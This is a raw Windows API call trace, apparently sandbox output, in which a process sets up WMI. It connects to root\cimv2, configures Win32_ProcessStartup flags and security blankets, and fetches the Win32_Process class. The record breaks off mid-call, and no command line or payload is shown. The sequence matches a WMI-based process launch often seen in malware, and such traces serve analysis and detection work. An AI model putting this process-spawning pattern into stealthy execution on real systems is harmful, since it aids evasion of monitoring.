WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0128.312] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0128.312] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0128.312] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0128.312] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0128.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4af3a0) returned 0x0 [0128.312] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0128.312] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0128.312] WbemDefPath:IWbemPath:SetText (This=0x1b4af3a0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0128.312] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272aab0*=0, plFlavor=0x272aab4*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272aab0*=19, plFlavor=0x272aab4*=0) returned 0x0 [0128.313] IWbemClassObject:Get (in: This=0x1b4d9b60, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272aab0*=19, plFlavor=0x272aab4*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272aab0*=19, plFlavor=0x272aab4*=0) returned 0x0 [0128.313] IWbemClassObject:Put (This=0x1b4d9b60, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0128.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af9a0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0128.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0128.313] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0128.313] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.313] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0128.313] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0128.313] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0128.313] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.314] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4837f0) returned 0x0 [0128.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4837f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0128.314] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4837f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4b01e0) returned 0x0 [0128.314] WbemDefPath:IUnknown:Release (This=0x1b4837f0) returned 0x0 [0128.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4b01e0) returned 0x0 [0128.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0128.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0128.314] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0128.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0128.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0128.314] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b483770) returned 0x0 [0128.314] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483770, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.314] WbemDefPath:IUnknown:Release (This=0x1b483770) returned 0x3 [0128.315] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0128.315] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0128.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0128.315] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0128.315] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0128.315] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0128.315] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0128.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4b01e0) returned 0x0 [0128.315] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0128.315] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0128.315] WbemDefPath:IWbemPath:SetText (This=0x1b4b01e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0128.315] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0128.315] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0128.315] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.315] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0128.315] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0128.315] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0128.315] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.316] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b483270) returned 0x0 [0128.316] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483270, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0128.316] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b483270, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b483850) returned 0x0 [0128.316] WbemLocator:IUnknown:Release (This=0x1b483270) returned 0x0 [0128.316] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483850, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b483850) returned 0x0 [0128.316] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483850, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0128.316] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483850, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0128.316] WbemLocator:IUnknown:AddRef (This=0x1b483850) returned 0x3 [0128.316] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483850, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0128.316] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483850, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0128.316] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483850, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0128.316] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0128.317] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0128.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483850, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0128.317] WbemLocator:IUnknown:Release (This=0x1b483850) returned 0x2 [0128.317] WbemLocator:IUnknown:Release (This=0x1b483850) returned 0x1 [0128.317] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0128.317] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0128.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483850, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b483850) returned 0x0 [0128.317] WbemLocator:IUnknown:AddRef (This=0x1b483850) returned 0x3 [0128.317] WbemLocator:IUnknown:Release (This=0x1b483850) returned 0x2 [0128.317] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0128.317] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0128.317] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.317] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b483350) returned 0x0 [0128.317] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b483350, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4ceb90) returned 0x0 [0128.487] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511d50) returned 0x0 [0128.487] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511d50, pProxy=0x1b4ceb90, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0128.488] WbemLocator:IUnknown:Release (This=0x1b511d50) returned 0x1 [0128.488] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511d98) returned 0x0 [0128.488] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511d50) returned 0x0 [0128.488] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511d50, pProxy=0x1b4ceb90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0128.488] WbemLocator:IUnknown:Release (This=0x1b511d50) returned 0x2 [0128.488] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x1 [0128.488] CoTaskMemFree (pv=0x1b461a00) [0128.488] WbemLocator:IUnknown:Release (This=0x1b483350) returned 0x0 [0128.488] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511d98) returned 0x0 [0128.488] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0128.533] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0128.548] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0128.575] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0128.575] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0128.575] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0128.575] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b511c78) returned 0x0 [0128.576] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511c78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.576] WbemLocator:IUnknown:Release (This=0x1b511c78) returned 0x3 [0128.576] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0128.576] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0128.576] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511d60) returned 0x0 [0128.576] WbemLocator:IRpcOptions:Query (in: This=0x1b511d60, pPrx=0x1b511d98, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0128.576] WbemLocator:IUnknown:Release (This=0x1b511d60) returned 0x3 [0128.576] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0128.576] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0128.576] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0128.576] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4ceb90) returned 0x0 [0128.576] WbemLocator:IUnknown:AddRef (This=0x1b4ceb90) returned 0x4 [0128.576] WbemLocator:IUnknown:Release (This=0x1b4ceb90) returned 0x3 [0128.576] WbemLocator:IUnknown:Release (This=0x1b4ceb90) returned 0x2 [0128.576] SysStringLen (param_1=0x0) returned 0x0 [0128.576] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0128.576] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0128.576] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.577] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0128.577] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0128.577] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511d98) returned 0x0 [0128.577] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x3 [0128.577] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0128.577] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0128.577] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0128.577] IWbemServices:GetObject (in: 